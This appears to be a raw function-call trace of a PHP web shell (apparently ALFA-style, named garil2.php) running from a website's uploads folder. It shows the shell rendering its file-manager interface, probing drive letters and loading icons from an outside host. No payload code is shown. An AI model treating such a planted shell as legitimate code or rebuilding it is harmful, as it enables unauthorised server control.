3		A						/var/www/html/uploads/garil2.php	1030	$gid = 33
3		A						/var/www/html/uploads/garil2.php	1032	$cwd_links = ''
4	158	0	0.125107	2787368	explode	0		/var/www/html/uploads/garil2.php	1033	2	'/'	'/var/www/html/uploads/'
4	158	1	0.125122	2787976
4	158	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
3		A						/var/www/html/uploads/garil2.php	1033	$path = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
3		A						/var/www/html/uploads/garil2.php	1034	$n = 6
3		A						/var/www/html/uploads/garil2.php	1035	$i = 0
3		A						/var/www/html/uploads/garil2.php	1036	$cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3		A						/var/www/html/uploads/garil2.php	1037	$cach_cwd_path = ''
3		A						/var/www/html/uploads/garil2.php	1038	$j = 0
3		A						/var/www/html/uploads/garil2.php	1039	$cwd_links .= '/'
3		A						/var/www/html/uploads/garil2.php	1040	$cach_cwd_path .= '/'
3		A						/var/www/html/uploads/garil2.php	1038	$j++
3		A						/var/www/html/uploads/garil2.php	1042	$cwd_links .= '")\' path=\'/\' href=\'#action=fileman&path=/\'>/</a>'
3		A						/var/www/html/uploads/garil2.php	1035	$i++
3		A						/var/www/html/uploads/garil2.php	1036	$cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3		A						/var/www/html/uploads/garil2.php	1037	$cach_cwd_path = ''
3		A						/var/www/html/uploads/garil2.php	1038	$j = 0
3		A						/var/www/html/uploads/garil2.php	1039	$cwd_links .= '/'
3		A						/var/www/html/uploads/garil2.php	1040	$cach_cwd_path .= '/'
3		A						/var/www/html/uploads/garil2.php	1038	$j++
3		A						/var/www/html/uploads/garil2.php	1039	$cwd_links .= 'var/'
3		A						/var/www/html/uploads/garil2.php	1040	$cach_cwd_path .= 'var/'
3		A						/var/www/html/uploads/garil2.php	1038	$j++
3		A						/var/www/html/uploads/garil2.php	1042	$cwd_links .= '")\' path=\'/var/\' href=\'#action=fileman&path=/var/\'>var/</a>'
3		A						/var/www/html/uploads/garil2.php	1035	$i++
3		A						/var/www/html/uploads/garil2.php	1036	$cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3		A						/var/www/html/uploads/garil2.php	1037	$cach_cwd_path = ''
3		A						/var/www/html/uploads/garil2.php	1038	$j = 0
3		A						/var/www/html/uploads/garil2.php	1039	$cwd_links .= '/'
3		A						/var/www/html/uploads/garil2.php	1040	$cach_cwd_path .= '/'
3		A						/var/www/html/uploads/garil2.php	1038	$j++
3		A						/var/www/html/uploads/garil2.php	1039	$cwd_links .= 'var/'
3		A						/var/www/html/uploads/garil2.php	1040	$cach_cwd_path .= 'var/'
3		A						/var/www/html/uploads/garil2.php	1038	$j++
3		A						/var/www/html/uploads/garil2.php	1039	$cwd_links .= 'www/'
3		A						/var/www/html/uploads/garil2.php	1040	$cach_cwd_path .= 'www/'
3		A						/var/www/html/uploads/garil2.php	1038	$j++
3		A						/var/www/html/uploads/garil2.php	1042	$cwd_links .= '")\' path=\'/var/www/\' href=\'#action=fileman&path=/var/www/\'>www/</a>'
3		A						/var/www/html/uploads/garil2.php	1035	$i++
3		A						/var/www/html/uploads/garil2.php	1036	$cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3		A						/var/www/html/uploads/garil2.php	1037	$cach_cwd_path = ''
3		A						/var/www/html/uploads/garil2.php	1038	$j = 0
3		A						/var/www/html/uploads/garil2.php	1039	$cwd_links .= '/'
3		A						/var/www/html/uploads/garil2.php	1040	$cach_cwd_path .= '/'
3		A						/var/www/html/uploads/garil2.php	1038	$j++
3		A						/var/www/html/uploads/garil2.php	1039	$cwd_links .= 'var/'
3		A						/var/www/html/uploads/garil2.php	1040	$cach_cwd_path .= 'var/'
3		A						/var/www/html/uploads/garil2.php	1038	$j++
3		A						/var/www/html/uploads/garil2.php	1039	$cwd_links .= 'www/'
3		A						/var/www/html/uploads/garil2.php	1040	$cach_cwd_path .= 'www/'
3		A						/var/www/html/uploads/garil2.php	1038	$j++
3		A						/var/www/html/uploads/garil2.php	1039	$cwd_links .= 'html/'
3		A						/var/www/html/uploads/garil2.php	1040	$cach_cwd_path .= 'html/'
3		A						/var/www/html/uploads/garil2.php	1038	$j++
3		A						/var/www/html/uploads/garil2.php	1042	$cwd_links .= '")\' path=\'/var/www/html/\' href=\'#action=fileman&path=/var/www/html/\'>html/</a>'
3		A						/var/www/html/uploads/garil2.php	1035	$i++
3		A						/var/www/html/uploads/garil2.php	1036	$cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3		A						/var/www/html/uploads/garil2.php	1037	$cach_cwd_path = ''
3		A						/var/www/html/uploads/garil2.php	1038	$j = 0
3		A						/var/www/html/uploads/garil2.php	1039	$cwd_links .= '/'
3		A						/var/www/html/uploads/garil2.php	1040	$cach_cwd_path .= '/'
3		A						/var/www/html/uploads/garil2.php	1038	$j++
3		A						/var/www/html/uploads/garil2.php	1039	$cwd_links .= 'var/'
3		A						/var/www/html/uploads/garil2.php	1040	$cach_cwd_path .= 'var/'
3		A						/var/www/html/uploads/garil2.php	1038	$j++
3		A						/var/www/html/uploads/garil2.php	1039	$cwd_links .= 'www/'
3		A						/var/www/html/uploads/garil2.php	1040	$cach_cwd_path .= 'www/'
3		A						/var/www/html/uploads/garil2.php	1038	$j++
3		A						/var/www/html/uploads/garil2.php	1039	$cwd_links .= 'html/'
3		A						/var/www/html/uploads/garil2.php	1040	$cach_cwd_path .= 'html/'
3		A						/var/www/html/uploads/garil2.php	1038	$j++
3		A						/var/www/html/uploads/garil2.php	1039	$cwd_links .= 'uploads/'
3		A						/var/www/html/uploads/garil2.php	1040	$cach_cwd_path .= 'uploads/'
3		A						/var/www/html/uploads/garil2.php	1038	$j++
3		A						/var/www/html/uploads/garil2.php	1042	$cwd_links .= '")\' path=\'/var/www/html/uploads/\' href=\'#action=fileman&path=/var/www/html/uploads/\'>uploads/</a>'
3		A						/var/www/html/uploads/garil2.php	1035	$i++
3		A						/var/www/html/uploads/garil2.php	1044	$drives = ''
4	159	0	0.125846	2788720	range	0		/var/www/html/uploads/garil2.php	1045	2	'a'	'z'
4	159	1	0.125860	2790120
4	159	R			[0 => 'a', 1 => 'b', 2 => 'c', 3 => 'd', 4 => 'e', 5 => 'f', 6 => 'g', 7 => 'h', 8 => 'i', 9 => 'j', 10 => 'k', 11 => 'l', 12 => 'm', 13 => 'n', 14 => 'o', 15 => 'p', 16 => 'q', 17 => 'r', 18 => 's', 19 => 't', 20 => 'u', 21 => 'v', 22 => 'w', 23 => 'x', 24 => 'y', 25 => 'z']
4	160	0	0.125892	2790088	is_dir	0		/var/www/html/uploads/garil2.php	1046	1	'a:\\'
4	160	1	0.125910	2790128
4	160	R			FALSE
4	161	0	0.125925	2790088	is_dir	0		/var/www/html/uploads/garil2.php	1046	1	'b:\\'
4	161	1	0.125939	2790128
4	161	R			FALSE
4	162	0	0.125953	2790088	is_dir	0		/var/www/html/uploads/garil2.php	1046	1	'c:\\'
4	162	1	0.125968	2790128
4	162	R			FALSE
4	163	0	0.125981	2790088	is_dir	0		/var/www/html/uploads/garil2.php	1046	1	'd:\\'
4	163	1	0.125995	2790128
4	163	R			FALSE
4	164	0	0.126008	2790088	is_dir	0		/var/www/html/uploads/garil2.php	1046	1	'e:\\'
4	164	1	0.126022	2790128
4	164	R			FALSE
4	165	0	0.126035	2790088	is_dir	0		/var/www/html/uploads/garil2.php	1046	1	'f:\\'
4	165	1	0.126049	2790128
4	165	R			FALSE
4	166	0	0.126061	2790088	is_dir	0		/var/www/html/uploads/garil2.php	1046	1	'g:\\'
4	166	1	0.126075	2790128
4	166	R			FALSE
4	167	0	0.126088	2790088	is_dir	0		/var/www/html/uploads/garil2.php	1046	1	'h:\\'
4	167	1	0.126102	2790128
4	167	R			FALSE
4	168	0	0.126114	2790088	is_dir	0		/var/www/html/uploads/garil2.php	1046	1	'i:\\'
4	168	1	0.126127	2790128
4	168	R			FALSE
4	169	0	0.126140	2790088	is_dir	0		/var/www/html/uploads/garil2.php	1046	1	'j:\\'
4	169	1	0.126154	2790128
4	169	R			FALSE
4	170	0	0.126166	2790088	is_dir	0		/var/www/html/uploads/garil2.php	1046	1	'k:\\'
4	170	1	0.126180	2790128
4	170	R			FALSE
4	171	0	0.126192	2790088	is_dir	0		/var/www/html/uploads/garil2.php	1046	1	'l:\\'
4	171	1	0.126206	2790128
4	171	R			FALSE
4	172	0	0.126218	2790088	is_dir	0		/var/www/html/uploads/garil2.php	1046	1	'm:\\'
4	172	1	0.126232	2790128
4	172	R			FALSE
4	173	0	0.126244	2790088	is_dir	0		/var/www/html/uploads/garil2.php	1046	1	'n:\\'
4	173	1	0.126258	2790128
4	173	R			FALSE
4	174	0	0.126271	2790088	is_dir	0		/var/www/html/uploads/garil2.php	1046	1	'o:\\'
4	174	1	0.126284	2790128
4	174	R			FALSE
4	175	0	0.126297	2790088	is_dir	0		/var/www/html/uploads/garil2.php	1046	1	'p:\\'
4	175	1	0.126310	2790128
4	175	R			FALSE
4	176	0	0.126323	2790088	is_dir	0		/var/www/html/uploads/garil2.php	1046	1	'q:\\'
4	176	1	0.126336	2790128
4	176	R			FALSE
4	177	0	0.126348	2790088	is_dir	0		/var/www/html/uploads/garil2.php	1046	1	'r:\\'
4	177	1	0.126362	2790128
4	177	R			FALSE
4	178	0	0.126374	2790088	is_dir	0		/var/www/html/uploads/garil2.php	1046	1	's:\\'
4	178	1	0.126387	2790128
4	178	R			FALSE
4	179	0	0.126399	2790088	is_dir	0		/var/www/html/uploads/garil2.php	1046	1	't:\\'
4	179	1	0.126413	2790128
4	179	R			FALSE
4	180	0	0.126426	2790088	is_dir	0		/var/www/html/uploads/garil2.php	1046	1	'u:\\'
4	180	1	0.126439	2790128
4	180	R			FALSE
4	181	0	0.126451	2790088	is_dir	0		/var/www/html/uploads/garil2.php	1046	1	'v:\\'
4	181	1	0.126466	2790128
4	181	R			FALSE
4	182	0	0.126478	2790088	is_dir	0		/var/www/html/uploads/garil2.php	1046	1	'w:\\'
4	182	1	0.126492	2790128
4	182	R			FALSE
4	183	0	0.126504	2790088	is_dir	0		/var/www/html/uploads/garil2.php	1046	1	'x:\\'
4	183	1	0.126518	2790128
4	183	R			FALSE
4	184	0	0.126531	2790088	is_dir	0		/var/www/html/uploads/garil2.php	1046	1	'y:\\'
4	184	1	0.126544	2790128
4	184	R			FALSE
4	185	0	0.126557	2790088	is_dir	0		/var/www/html/uploads/garil2.php	1046	1	'z:\\'
4	185	1	0.126570	2790128
4	185	R			FALSE
3		A						/var/www/html/uploads/garil2.php	1048	$csscode = '\t-moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation'
4	186	0	0.126610	2788720	__showicon	1		/var/www/html/uploads/garil2.php	1054	1	'alfamini'
4		A						/var/www/html/uploads/garil2.php	1233	$s['btn'] = 'http://solevisible.com/images/btn.png'
4		A						/var/www/html/uploads/garil2.php	1234	$s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4		A						/var/www/html/uploads/garil2.php	1235	$s['loader'] = 'http://solevisible.com/images/loader.svg'
4	186	1	0.126663	2788720
4	186	R			'http://solevisible.com/images/alfamini.png'
4	187	0	0.127034	2803680	alfa_getColor	1		/var/www/html/uploads/garil2.php	1065	1	'header_values'
4		A						/var/www/html/uploads/garil2.php	614	$target = '#67ABDF'
4	187	1	0.127065	2803680
4	187	R			'#67ABDF'
4	188	0	0.127080	2805216	__showicon	1		/var/www/html/uploads/garil2.php	1065	1	'alfamini'
4		A						/var/www/html/uploads/garil2.php	1233	$s['btn'] = 'http://solevisible.com/images/btn.png'
4		A						/var/www/html/uploads/garil2.php	1234	$s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4		A						/var/www/html/uploads/garil2.php	1235	$s['loader'] = 'http://solevisible.com/images/loader.svg'
4	188	1	0.127132	2805216
4	188	R			'http://solevisible.com/images/alfamini.png'
4	189	0	0.127149	2809312	__showicon	1		/var/www/html/uploads/garil2.php	1065	1	'alfamini'
4		A						/var/www/html/uploads/garil2.php	1233	$s['btn'] = 'http://solevisible.com/images/btn.png'
4		A						/var/www/html/uploads/garil2.php	1234	$s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4		A						/var/www/html/uploads/garil2.php	1235	$s['loader'] = 'http://solevisible.com/images/loader.svg'
4	189	1	0.127197	2809312
4	189	R			'http://solevisible.com/images/alfamini.png'
4	190	0	0.127213	2809312	__showicon	1		/var/www/html/uploads/garil2.php	1065	1	'btn'
4		A						/var/www/html/uploads/garil2.php	1233	$s['btn'] = 'http://solevisible.com/images/btn.png'
4		A						/var/www/html/uploads/garil2.php	1234	$s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4		A						/var/www/html/uploads/garil2.php	1235	$s['loader'] = 'http://solevisible.com/images/loader.svg'
4	190	1	0.127259	2809312
4	190	R			'http://solevisible.com/images/btn.png'
4	191	0	0.127276	2809312	is_writable	0		/var/www/html/uploads/garil2.php	1066	1	'/var/www/html/uploads/'
4	191	1	0.127293	2809352
4	191	R			TRUE
4	192	0	0.127308	2813408	alfaCssLoadColors	1		/var/www/html/uploads/garil2.php	1066	0
4		A						/var/www/html/uploads/garil2.php	623	$css = ''
4		A						/var/www/html/uploads/garil2.php	624	$key = 'shell_border'
4		A						/var/www/html/uploads/garil2.php	630	$k = '.header'
5	193	0	0.127353	2813408	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'shell_border'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5	193	1	0.127389	2813408
5	193	R			'#0E304A'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#0E304A'
5	194	0	0.127414	2813408	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#0E304A'	'border: 7px solid {color}'
5	194	1	0.127429	2813560
5	194	R			'border: 7px solid #0E304A'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'border: 7px solid #0E304A'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '.header{border: 7px solid #0E304A}'
4		A						/var/www/html/uploads/garil2.php	630	$k = '#meunlist'
5	195	0	0.127478	2813528	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'shell_border'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5	195	1	0.127513	2813528
5	195	R			'#0E304A'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#0E304A'
5	196	0	0.127537	2813528	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#0E304A'	'border-color: {color}'
5	196	1	0.127555	2813672
5	196	R			'border-color: #0E304A'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'border-color: #0E304A'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '#meunlist{border-color: #0E304A}'
4		A						/var/www/html/uploads/garil2.php	630	$k = '#hidden_sh'
5	197	0	0.127603	2813552	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'shell_border'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5	197	1	0.127637	2813552
5	197	R			'#0E304A'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#0E304A'
5	198	0	0.127660	2813552	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#0E304A'	'background-color: {color}'
5	198	1	0.127676	2813704
5	198	R			'background-color: #0E304A'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'background-color: #0E304A'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '#hidden_sh{background-color: #0E304A}'
4		A						/var/www/html/uploads/garil2.php	630	$k = '.ajaxarea'
5	199	0	0.127723	2813592	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'shell_border'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5	199	1	0.127757	2813592
5	199	R			'#0E304A'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#0E304A'
5	200	0	0.127780	2813592	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#0E304A'	'border: 1px solid {color}'
5	200	1	0.127795	2813744
5	200	R			'border: 1px solid #0E304A'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'border: 1px solid #0E304A'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '.ajaxarea{border: 1px solid #0E304A}'
4		A						/var/www/html/uploads/garil2.php	630	$k = '.foot'
5	201	0	0.127842	2813656	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'shell_border'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5	201	1	0.127876	2813656
5	201	R			'#0E304A'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#0E304A'
5	202	0	0.127898	2813656	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#0E304A'	'border-color: {color}'
5	202	1	0.127913	2813800
5	202	R			'border-color: #0E304A'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'border-color: #0E304A'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '.foot{border-color: #0E304A}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'header_vars'
5	203	0	0.127960	2813648	alfa_getColor	1		/var/www/html/uploads/garil2.php	626	1	'header_vars'
5		A						/var/www/html/uploads/garil2.php	614	$target = '#27979B'
5	203	1	0.127983	2813648
5	203	R			'#27979B'
4		A						/var/www/html/uploads/garil2.php	626	$value = '#27979B'
4		A						/var/www/html/uploads/garil2.php	627	$css .= '.header_vars{color: #27979B;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'header_values'
5	204	0	0.128027	2813680	alfa_getColor	1		/var/www/html/uploads/garil2.php	626	1	'header_values'
5		A						/var/www/html/uploads/garil2.php	614	$target = '#67ABDF'
5	204	1	0.128051	2813680
5	204	R			'#67ABDF'
4		A						/var/www/html/uploads/garil2.php	626	$value = '#67ABDF'
4		A						/var/www/html/uploads/garil2.php	627	$css .= '.header_values{color: #67ABDF;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'header_on'
5	205	0	0.128095	2813712	alfa_getColor	1		/var/www/html/uploads/garil2.php	626	1	'header_on'
5		A						/var/www/html/uploads/garil2.php	614	$target = '#00FF00'
5	205	1	0.128118	2813712
5	205	R			'#00FF00'
4		A						/var/www/html/uploads/garil2.php	626	$value = '#00FF00'
4		A						/var/www/html/uploads/garil2.php	627	$css .= '.header_on{color: #00FF00;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'header_off'
5	206	0	0.128166	2813776	alfa_getColor	1		/var/www/html/uploads/garil2.php	626	1	'header_off'
5		A						/var/www/html/uploads/garil2.php	614	$target = '#ff0000'
5	206	1	0.128189	2813776
5	206	R			'#ff0000'
4		A						/var/www/html/uploads/garil2.php	626	$value = '#ff0000'
4		A						/var/www/html/uploads/garil2.php	627	$css .= '.header_off{color: #ff0000;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'header_none'
5	207	0	0.128232	2813776	alfa_getColor	1		/var/www/html/uploads/garil2.php	626	1	'header_none'
5		A						/var/www/html/uploads/garil2.php	614	$target = '#00FF00'
5	207	1	0.128255	2813776
5	207	R			'#00FF00'
4		A						/var/www/html/uploads/garil2.php	626	$value = '#00FF00'
4		A						/var/www/html/uploads/garil2.php	627	$css .= '.header_none{color: #00FF00;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'home_shell'
5	208	0	0.128298	2813840	alfa_getColor	1		/var/www/html/uploads/garil2.php	626	1	'home_shell'
5		A						/var/www/html/uploads/garil2.php	614	$target = '#ff0000'
5	208	1	0.128320	2813840
5	208	R			'#ff0000'
4		A						/var/www/html/uploads/garil2.php	626	$value = '#ff0000'
4		A						/var/www/html/uploads/garil2.php	627	$css .= '.home_shell{color: #ff0000;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'home_shell:hover'
4		A						/var/www/html/uploads/garil2.php	630	$k = '.home_shell:hover'
5	209	0	0.128374	2813840	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'home_shell:hover'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.home_shell:hover' => 'color: {color};']]
5	209	1	0.128402	2813840
5	209	R			'#FFFFFF'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#FFFFFF'
5	210	0	0.128425	2813840	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#FFFFFF'	'color: {color};'
5	210	1	0.128440	2813976
5	210	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '.home_shell:hover{color: #FFFFFF;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'back_shell'
5	211	0	0.128501	2813896	alfa_getColor	1		/var/www/html/uploads/garil2.php	626	1	'back_shell'
5		A						/var/www/html/uploads/garil2.php	614	$target = '#efbe73'
5	211	1	0.128525	2813896
5	211	R			'#efbe73'
4		A						/var/www/html/uploads/garil2.php	626	$value = '#efbe73'
4		A						/var/www/html/uploads/garil2.php	627	$css .= '.back_shell{color: #efbe73;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'back_shell:hover'
4		A						/var/www/html/uploads/garil2.php	630	$k = '.back_shell:hover'
5	212	0	0.128580	2813896	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'back_shell:hover'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.back_shell:hover' => 'color: {color};']]
5	212	1	0.128609	2813896
5	212	R			'#FFFFFF'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#FFFFFF'
5	213	0	0.128632	2813896	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#FFFFFF'	'color: {color};'
5	213	1	0.128646	2814032
5	213	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '.back_shell:hover{color: #FFFFFF;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'header_pwd'
5	214	0	0.128692	2813960	alfa_getColor	1		/var/www/html/uploads/garil2.php	626	1	'header_pwd'
5		A						/var/www/html/uploads/garil2.php	614	$target = '#00FF00'
5	214	1	0.128715	2813960
5	214	R			'#00FF00'
4		A						/var/www/html/uploads/garil2.php	626	$value = '#00FF00'
4		A						/var/www/html/uploads/garil2.php	627	$css .= '.header_pwd{color: #00FF00;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'header_pwd:hover'
4		A						/var/www/html/uploads/garil2.php	630	$k = '.header_pwd:hover'
5	215	0	0.128768	2813960	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'header_pwd:hover'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.header_pwd:hover' => 'color: {color};']]
5	215	1	0.128800	2813960
5	215	R			'#FFFFFF'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#FFFFFF'
5	216	0	0.128823	2813960	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#FFFFFF'	'color: {color};'
5	216	1	0.128837	2814096
5	216	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '.header_pwd:hover{color: #FFFFFF;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'header_drive'
5	217	0	0.128882	2814088	alfa_getColor	1		/var/www/html/uploads/garil2.php	626	1	'header_drive'
5		A						/var/www/html/uploads/garil2.php	614	$target = '#00FF00'
5	217	1	0.128905	2814088
5	217	R			'#00FF00'
4		A						/var/www/html/uploads/garil2.php	626	$value = '#00FF00'
4		A						/var/www/html/uploads/garil2.php	627	$css .= '.header_drive{color: #00FF00;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'header_drive:hover'
4		A						/var/www/html/uploads/garil2.php	630	$k = '.header_drive:hover'
5	218	0	0.128959	2814088	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'header_drive:hover'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.header_drive:hover' => 'color: {color};']]
5	218	1	0.128988	2814088
5	218	R			'#FFFFFF'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#FFFFFF'
5	219	0	0.129011	2814088	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#FFFFFF'	'color: {color};'
5	219	1	0.129025	2814224
5	219	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '.header_drive:hover{color: #FFFFFF;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'header_show_all'
5	220	0	0.129075	2814088	alfa_getColor	1		/var/www/html/uploads/garil2.php	626	1	'header_show_all'
5		A						/var/www/html/uploads/garil2.php	614	$target = '#00FF00'
5	220	1	0.129099	2814088
5	220	R			'#00FF00'
4		A						/var/www/html/uploads/garil2.php	626	$value = '#00FF00'
4		A						/var/www/html/uploads/garil2.php	627	$css .= '.header_show_all{color: #00FF00;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'disable_functions'
5	221	0	0.129142	2814088	alfa_getColor	1		/var/www/html/uploads/garil2.php	626	1	'disable_functions'
5		A						/var/www/html/uploads/garil2.php	614	$target = '#ff0000'
5	221	1	0.129166	2814088
5	221	R			'#ff0000'
4		A						/var/www/html/uploads/garil2.php	626	$value = '#ff0000'
4		A						/var/www/html/uploads/garil2.php	627	$css .= '.disable_functions{color: #ff0000;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'footer_text'
5	222	0	0.129210	2814216	alfa_getColor	1		/var/www/html/uploads/garil2.php	626	1	'footer_text'
5		A						/var/www/html/uploads/garil2.php	614	$target = '#27979B'
5	222	1	0.129234	2814216
5	222	R			'#27979B'
4		A						/var/www/html/uploads/garil2.php	626	$value = '#27979B'
4		A						/var/www/html/uploads/garil2.php	627	$css .= '.footer_text{color: #27979B;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'menu_options'
5	223	0	0.129277	2814216	alfa_getColor	1		/var/www/html/uploads/garil2.php	626	1	'menu_options'
5		A						/var/www/html/uploads/garil2.php	614	$target = '#27979B'
5	223	1	0.129300	2814216
5	223	R			'#27979B'
4		A						/var/www/html/uploads/garil2.php	626	$value = '#27979B'
4		A						/var/www/html/uploads/garil2.php	627	$css .= '.menu_options{color: #27979B;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'menu_options:hover'
4		A						/var/www/html/uploads/garil2.php	630	$k = '.menu_options:hover'
5	224	0	0.129354	2814216	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'menu_options:hover'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#646464', 'multi_selector' => ['.menu_options:hover' => 'background-color: {color};font-weight: unset;']]
5	224	1	0.129389	2814216
5	224	R			'#646464'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#646464'
5	225	0	0.129412	2814216	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#646464'	'background-color: {color};font-weight: unset;'
5	225	1	0.129429	2814392
5	225	R			'background-color: #646464;font-weight: unset;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'background-color: #646464;font-weight: unset;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '.menu_options:hover{background-color: #646464;font-weight: unset;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'options_list'
4		A						/var/www/html/uploads/garil2.php	630	$k = '.content_options_holder .header center a'
5	226	0	0.129493	2814384	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'options_list'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#00FF00', 'multi_selector' => ['.content_options_holder .header center a' => 'color: {color};']]
5	226	1	0.129524	2814384
5	226	R			'#00FF00'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#00FF00'
